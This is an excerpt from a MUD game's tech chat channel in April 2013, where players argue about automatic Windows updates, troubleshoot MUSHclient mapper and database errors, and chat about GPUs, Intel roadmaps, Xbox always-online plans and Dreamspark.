T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If an update crashes every 5 minutes, you rollback the update... not rocket surgery
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: which update is it?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: do you have priveledges to roll it back?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: has it already migrated your projects to the latest version, can that be reversed?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: the equivalent is preferring a car with door locks that could possibly jam close and prevent you from using it over one that has no locks at all to jam
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you don't have privileges to roll it back, you aren't qualified to comment, as your work is telling you how it is.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Take it up with your IT department
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They clearly know better than you what the correct course of action is
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: my IT department already conforms to these sensible ideas
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: except for one dick who installs every update that comes along and screws everyone else up as a result
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: We're sorry that the malware on your computer wasn't compatible with the latest Windows updates. The rest of us didn't have any issues with the updates.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: if your sysadmin sets the update policy for the department's pc's to "auto", then you probably should consider firing them
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: i'm guessing your two comp sci majors were from the open university, or bought over the internet
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That wasn't very necessary, Tigernuts.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: stop defending the indefencible, trurien ;-)
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I'm not defending you...
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Mc Cruentis Tech: -10
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Two? Only did the one... correspondence to the uni I moved to for my Masters :-P Care to play again?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: that's kinda my point
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: then how do you patch the gap between what you've been saying at the completely different approach taught in academia and used throughout industry?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: what's good enough for joe bloggs watching porn and reading facebook is good enough for everyone, right?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So you are saying academia and history says you should not leave updates to auto... meanwhile, your local IT guy has set the machine you have no admin rights to on auto, and the companies producing the software also promote the auto option...
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Because they have their own interests to promote, too :P
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I mean, auto is nice and easy for the consumer to remember.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: What's the scenario? sysadmin borks every computer with automatic updates or he borks a smaller percentage?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But if you know what you are doing as an IT department, you should be in control of the systems ... you are in control of.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: sysadmin should be vetting updates and releasing them via the update server, no?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: since they have a set suite of applications they are responsible for maintaining the working of
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Sonshi Tech: so in summary, microsoft is non-deliberately, carelessly forcing people to upgrade with screwy updates, and people should never do anything sensitive on their work computers, so that you don't need to worry about exploits. Did I miss anything?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: As long as it's done with enough efficiency, yes.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: being a sysadmin and all, being their job
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Sonshi: heh.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: Do small companies keep their own update server, really?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Got the budget for it? If so, great. If not, the lesser evil is unfiltered updates.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Small companies probably don't have a sysadmin team.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: Sure they do.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: well fine, but don't be surprised if something stops running at some point as a result, which it regularly does, which is then passed off by people like you as collateral damage
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Maybe just one. Two at the most.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: That's still a team.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Ranrr: two, yes. I wouldn't consider one to be a 'team'.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because it IS collateral damage... and a lesser damage than you would find from an exploit getting onto networks or whatever else the update was supposed to fix
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: I'd venture a guess that a majority of companies have updates (for window) set to auto, and it works fine.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: if you have networks for which exploitation was an issue, you'd also have sysadmins doing their job
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: As fine as windows can be.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I personally just leave my work laptop to update itself automatically... but that's because I haven't been bothered to use it too much.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: And that it is Windows, yes.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But even then, I don't take the time to read through package compatibility issues on my own laptop either when I update.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This seems less about you making an issue about update practices, and more about you whining about where you think the efforts of your company's sysadmins are best spent
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Vakieh: that might be it :)
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: sysadmins at work are great
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: Something stops running? How could that have been avoided by anything but luck? If the update was tested and it didn't affect the test computer then you deploy it. How would test that it won't affect anything at all?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Except for that one dick, you said? Who ruined everything?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: he's not a sysadmin, he's a programmer
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If he has admin rights, he is a sysadmin...
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: personally i'd have castrated his rights, but that's for another time
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Exactly, Ranrr - simple economical decision to look at $ spent on update vetting vs $ lost on productivity. In any case I can think of that doesn't involve a critical service (where 'rollback or load a backup' doesn't cut it) the balance is 'set it to auto and have recovery procedures set and followed'
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: More people generally have admin rights than are actually admins... at least in every company I've worked in.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: the updates breaking things issue was particularly bad for the MS Office 2007 suite (probably the same for their later offerings)
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: Of course, I would rather blow my head off with a rusty shotgun than be a windows admin (again), but that's just me.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: Being a *nix admin is fine, though. :D
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Hmmm, for some reason my Mapper DB doesn't seem to work anymore, anyone have any indication of what could have gone wrong? Its almost as if I haven't done any exploring at all. The db file is still in the folder though.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: (for Mushclient)
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you changed the name of your world file
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mapper db is bound to world file name
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Aardwolf.mcl -> Aardwolf.db and so on
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Ah, so how do I change it back?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: how did you change it in the first place?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tech: rename one or the other
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: I don't honestly remember.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: I dont remember changing it to be honest.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: try pressin Alt+Enter and see what is in the box at the top
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: might need to be Alt+1
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it should be "Aardwolf"
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Ah hah, you're a genius fiendish.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: I vaguely remember mashing some buttons by accident while typing, and it brought up the screen: I must not have noticed that I changed any fields.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Thank alot, will restart client
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: save first
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Brilliant, it works now.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: make sure the change applies
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: k cool
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Thanks mate.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: any time
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Fatal FrostBite Tech: does the mapper automatically back up when you close MUSHClient?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Doink Tech: think it asks to save if it hasnt saved new stuff... I dont know for sure though.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Fatal FrostBite Tech: just curious... I'll just cut the chase and type mapper backup after exploring whole areas =P
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tech: the mapper file is backed up at MUSHclient launch, and every 24 hours if MUSH is left open
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Vonliege Tech: Bast mini window command to "save current state", please?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Pleiades Tech: has anyone used mush on Windows 8?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Hanslanda Tech: I don't see why there would be any issues with it not working.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Hanslanda Tech: all you have to worry about is where to install it.
T3/r7/2013-04-08.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Is there a way to #define an #include separately for g++ and MSVC++?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I'm thinking about #ifdef WIN32, but I'm not sure.
T3/r7/2013-04-08.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Seems to be OK, gonna have to test on next reboot...
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: anyone seen the EVGA GTX TITAN
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Vost Tech: graphics card?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: yes fastest GPU on the world 6GB VRAM
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Vost Tech: no, I haven't seen it
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Probably a hefty price tag with it to :P
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Vost Tech: CrossfireX?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: costs 2k dollars
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: 3DMARK-Fire-strike score = 9,116
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Remember kids - by the time a game can do squat with a Titan, you could buy one for $900 or so
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Zetkax Tech: kinda overkill for mushclient??
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: hitman absolution DX11 ultra detail 4xAA = 68,97 fps 
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Of course, if you're into weather simulation go grab a handful of them
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: power load 285 watts
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: 288GB/s bandwidth
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: what is the name of the new bridge intel is going to put on their new gen processers?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Zetkax Tech: ivy?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: no that is the old one
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is clearly shown on their wikipedia page: Haswell, a tock iteration
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then Broadwell, then Skylake
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then Skymont
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: cant wait to see what insane speeds that will reach
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Predicted 5nm in 2019... ridiculous combo of Hz * IPC
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Probably moving more into parallel at that point also - can you imagine one of these running at 16+ cores?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Bot so hard
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: is possible to connect 2 screens to laptop?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Depends on your laptop.
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: why?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Does your laptop have two video ports?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Because all laptops aren't the same?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at RightOn Rithlin.
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: it's connected to one monitor atm
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: the port that cable is in, there is only one of those
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Then I'd wager a guess and say "no" unless you have other video ports (hdmi, for example)
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: no such thing as an adaptor to split into two ports?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Is that monitor a vga port or hdmi?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: not sure, might it be both?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}RightOn Rithlin Tech: no
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: it's one of those blue ones with the two screws
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Grissom Tech: HDMI looks like a USB port only smaller and longer
T3/r7/2013-04-08.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Then its vga
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: so potentially I could connect one hdmi monitor and one vga to my laptop?
T3/r7/2013-04-08.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Technically yes.
T3/r7/2013-04-08.txt.gz:{chan ch=tech}Xantcha Tech: it's up to the capabilities of the card whether both can be operational simultaneously, but in most cases, yes
T3/r7/2013-04-08.txt.gz:{chan ch=tech}GraySong Gregor Tech: Ok, thanks for the info!
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: So... who's looking forward to the new Xbox?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Because two sources have confirmed that Microsoft designed it to require an internet connection to launch games. It would tolerate drops up to three minutes, but after that, it would open the network troubleshooter.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Ranrr Tech: That sounds like a bad design decision... but I suppose it could be true.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Wouldn't surprise me.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: But definitely a bad design decision, considering it'll alienate everyone without an internet connection.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: that sucks, looks like i wont be bothering to get 1
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: These companies that are requiring internet connections to play their games are out of their minds.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at [Outlaw] Remarto.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Will probably push a lot of people to the PS4.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well i got internet but its so slow steam barly recognises it as internet
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Adam Orth, a creative director at Microsoft, even went so far as to defend an "always-on console" on Twitter, and when someone brought up living in the boondocks and not having a stable internet connection, Orth's response was, "Why would I want to live there?"
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: W00T! My uni just sprang for full Dreamspark Premium :-)
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what's Dreamspark?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: what's a uni?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Ontuct Tech: I can guess university
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Microsoft student repo
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Ontuct Tech: dreamspark sounds vague
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Microsoft's repo'ing students?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: ya.. once they buy an office product with the student discount... Microsoft OWNS them
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grins evilly at Vonliege.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: thought I read that in the ToS :D
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What do you mean discount? Dreamspark is free... as in $0
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Premium means I have access to more software now :-P
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: we're having a hard time getting excited for you because we still don't know what it is
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: None of you know what Dreamspark is? Seriously?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: but what the heck.. .here goes anyway... WHOOOOP! for Vakeih!
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Fatal FrostBite falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: I guess I could google it... but why?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: it's enough for me that YOU'RE happy.. so... GRATZ!
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I don't know what it is... am I in the minority?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: this IS the tech channel.. so I would guess some of the others know
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I can basically now get any MS OS, Office suite, Server tools, IDE, XBox dev tools, accounting software, etc - free
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: I only keep this channel open for the micro-bot debates
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Fatal FrostBite goes ooOOooOOoo at Captain HR Vakieh.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: dreamspark is a new term for something microsoft used to call something else.  where they give away free software to college/uni stem studetns.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Now I can be happy for you!
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Fatal FrostBite tosses Captain HR Vakieh up in the air, he loves it!
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's been called Dreamspark for at least 3 years :-P Before then it was called ItsNotCheating.com
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vonliege Tech: WOOOHOO! for Vakeih!  we're REALLY happy for you, man!
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Best thing I've found so far is OneNote - was disappointed it isn't in MS Office Student
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: That's geared towards tablets right?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: it's not in ms office at all, Vak, iirc.  It is my favorite ms product :)
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Gnarcyon Tech: it's part of MSOffice if you don't buy the cheapskate versoin
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Gnarcyon Tech: version*
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Atlanta, it exists in the business/ultimate editions someplace
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: I was an ms rep on campus, had the ultimate ms office...one note was on a separate disk with a separate key.  Guess it changed since I graduated.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's been a Office component since it was originally made in 03...
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: silly.  who needs oneNote more than a student. :P
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: So continued thoughts on the new Xbox requiring an internet connection to launch games, and if it drops for more than 3 minutes, it initiates a network troubleshooter?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Ontuct Tech: I don't have an internet connection at my ps3 I hope they don't adopt that sort of thing.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: PS4 doesn't show any signs of being an "always-on" console.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: next gen consoles are going to suck in their own unique ways
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: But a couple sources confirmed that the new Xbox will be, and Adam Orth (Microsoft employee, creative designer, I think) defended an "always-on" console, and stated, when told that people in the boonies lose internet, "Why would I want to live there?"
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the good news is that companies are starting to develop for pc and port to consoles
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: My brother and my parents still don't have any internet acces other than dial-up or satellite.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Leinei.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Orth also said people need to get with the times, everyone should have internet because it's "awesome".
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: although, they should be getting it for the first time within the next few weeks.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: They *couldn't* get it where they live
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Ontuct Tech: at my home all I have is dial-up. The cable co wanted $1600 USD to come up the driveway, i declined.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Anyone requiring "always-on" internet only hurt themselves. Look at EA's SimCity debacle, and Blizzard's Diablo III issues.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: diablo III doesn't require it, does it?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: Oh, maybe it does
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Leinei shrugs helplessly.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Blizzard's servers crashed on launch day because it couldn't handle the influx.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: So for the Xbox it is being viewed as a method to combat piracy?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: what is with the needing of internet connection when playing single player parts of these games jese
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: I think so.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Leinei Tech: (only really been following the PS4)
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vost Tech: anti-piracy 
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Jhav Tech: The always connected thing has never been about multiplayer
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Jhav nods at Vost.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Book of Etzli Tech: That's what the whole "always-on" internet has been about - a way to combat piracy.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: encourage piracy*
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Jhav Tech: Encourage me not to buy their games*
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Jhav.
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so essentially it was a dedicated VoIP line that was configured to limit VoIP to less bandwidth and never give it priority?
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mis
T3/r7/2013-04-09.txt.gz:{chan ch=tech}Ontuct Tech: when my spellups go through, I get a wicked lag. is this a wwscript issue?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Aurelia Tech: If I reinstoll statmonitor, will the data so far be cleared?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Aurelia Tech: eh, reinstall, too
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so I instaled windows 7 and it does not want to run mush..any ideas?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}HelperMan Hadar Tech: dont put mush in program files* put it in user folder or something like that (i think i keep mine on the desktop)
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: mine is on my desctop..
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: desktop
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yah that :P
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Saying that "it does not want to run mush" isn't very helpful.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no clue, my main client is cmud
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: when I clisck it it brings up a error this is not a database file or somthing like that
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Are you clicking the .exe file?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: The one that says "MUSHclient.exe"?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I am
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Is this a fresh download of MUSH?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its the newest version I saved it from xp before I put on win 7
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: So it's not a fresh install, it's a copied install.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: correct
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Try doing a fresh install.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Doink Tech: Took me a while getting the bugs out of my copied install for my alt.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Doink Tech: mostly was from Basts spellup script though.. iirc
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: this is the error I get
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: SQK error on statment: drop table I'd exits control;create table control (name varchr(10)not null primary key, calue int not null );" file is encrypted or is not a database 
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Doink Tech: Ni Hao!
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: paying for some help with windows 7 pst
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: will pay well
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ...just ask the q, nobody is going to offer up time blind
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its more than 1 probe and 2 don't aply to aard :)
